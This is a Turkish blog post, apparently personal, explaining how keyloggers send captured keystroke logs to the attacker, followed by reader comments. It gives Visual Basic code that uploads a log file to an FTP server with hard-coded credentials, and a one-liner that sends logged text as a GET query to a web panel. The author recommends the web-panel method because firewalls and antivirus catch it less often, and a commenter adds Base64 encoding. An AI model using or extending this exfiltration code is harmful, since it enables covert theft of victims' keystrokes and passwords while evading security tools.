Keyloggerda Kayıt Gönderme Mantıkları

Yazıya öncelikle keylogger’ın tanımını yaparak başlayayım. Keylogger; bir bilgisayarda basılan tuşları kayıt altına alan, sonra o kayıtları dışarı yollayan zararlı programlara verilen isimdir. Zararlı program diyorum fakat her zaman kötü alanlarda kullanılmasına gerek yok. Bu yazımda log depolayan keyloggerların kayıtlarını(log) dışarı aktarma mantıklarından bahsedeceğim.

E-Posta Yoluyla

En sağlam yol olarak gözükse de artık eskisi kadar tercih edilmiyor. Bunun çeşitli sebepleri var. İlk sebebi kodlama mantığının zorlayıcı olması. İkinci sebebi de kullanılan smtp sunucularının bu durumu algılayıp trafiği engellemesi. Ayrıca firewall’ların da en çok yakaladıkları yöntem e-posta yöntemidir. Tavsiye etmem

Ftp’ye Yükleyerek

Günümüzde en çok kullanılan kayıt gönderme mantığı ftp’ye kayıt dosyasını yüklemektir. Örneğin C dizinine kayıtları log.txt halinde saklamış olsun. Bunu kendi ftp adresimize göndereceğiz. Visual Basic dilinde şöyle bir örnekle gösterebilirim

Private Sub Command1_Click()
Inet1.URL = "Ftp://utkusoft.com" ' Sitenin adresi
Inet1.UserName = "utku" ' Ftp kullanıcı adın
Inet1.Password = "1234" ' Ftp parolan
Inet1.Execute , "SEND C:\\log.txt logger.txt"
'log.txt'yi al logger.txt olarak ftp'ye at
Do While Inet1.StillExecuting ' eğer dosya yüklesemesi hâla devam ediyorsa aynı işleme devam et.
DoEvents ' işlemleri yap
Loop
End Sub

Ancak ben bunu da pek önermiyorum. Çünkü herhangi bir hex editörle keylogger incelendiğinde ftp kullanıcı adı ve şifresi bulunabilir, kayıtlar herkes tarafından görülebilir. Firewall ve antivirüsler kısa sürede bu keyloggerı zararlı yazılım ilan edecektir

Web Sitesine Sorgu Olarak Göndererek

En güzelini en sona sakladım. Bu mantıkta kayıt dosyasını bilgisayarda herhangi bir yere kaydetmemiz de gerekmiyor. Text nesnesinde depolamanız yeterli. Daha sonra yapacağınız işlem şu. Get sorgusuyla gelen verileri veritabanına yazdıran bir kodumuz olsun. Örneğin şöyle

log.asp?yaz=  (buradan sonra gelen verileri veritabanına kayıt etsin)

Visual Basic’de şu küçük kod parçasıyla kayıtlarımızı web panelimize yollayabiliriz

Webbrowser1.Navigate "http://utkusoft.com/log.asp?yaz=Text1.Text"

Bunun için size gerekli olan asp kodlarını şuradan indirebilirsiniz. Bu şekilde loglarınızı web panelinize kolayca aktarıp okuyabilirsiniz. Firewall ve antivirüslerin de yakalaması daha zor olacaktır. Benim tavsiyem bu yöntemdir

 

6 Responses to Keyloggerda Kayıt Gönderme Mantıkları

  1. Sh0cK diyor ki:

    Web sayfasına Log göndermede Query String degilde, Post Method’u kullanılsaydı daha sağlam olurdu kanımca.Nedeni ise, Bazı stringler (örneğin satır atlama) QueryStringde farklı karakterlerle gösteriliyor.İlla Querstring diyorsanız, Bunuda şöle çözebilirsiniz aslında, Gönderilecek veriyi Base64 Encode yöntemiyle encode edersiniz (Veya farklı bi şifreleme ;) Daha sonra veri’leri okuyacak olan sayfa ile Decode işlemini yaparsınız bu sayede Bazı karakterler korunmuş olur kanımca.

    ve bişi daha, web browser Objesi kullandığınız için sayfa her yenilendiğinde çıkacak olan “çık” sesi insanı rahatsız edebiliyor =)

  2. peruk diyor ki:

    Okumak takip etmek güzel şey. insanın tasarım dünyaında bilmediği o kadar çok şey var ki. Her blog dan bir şeyler öğreniyorsun

    paylaşım için tşk

  3. MyBB diyor ki:

    Paylaşım için teşekkürler utku..

  4. Nafiz Karahan diyor ki:

    Mrb
    Peki benim bilgisayarıma keyloger bulaştı benim bilgisayarımdan gönderilen logların hangi siteye yada ftpye gönderildiğini nasıl öğrenebilirim reg kayıtları yada e-posta gönderme mantığını yada bunu öğrenebileceğim bir Yol biliyorsanız bana yazarmısınız.
    adresim bekliyorum.
    nakolik@hotmail.com

  5. Faruk diyor ki:

    Mrb. Utku
    Bilgisayara Bulanşan keyloger Bir Ftp’ye weri gönderiyor bunu gönderdiği yeri nasıl bulabilirim yardımcı olur musun.

Bir Cevap Yazın

E-posta hesabınız yayımlanmayacak. Gerekli alanlar * ile işaretlenmişlerdir

*

Şu HTML etiketlerini ve özelliklerini kullanabilirsiniz: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <strike> <strong>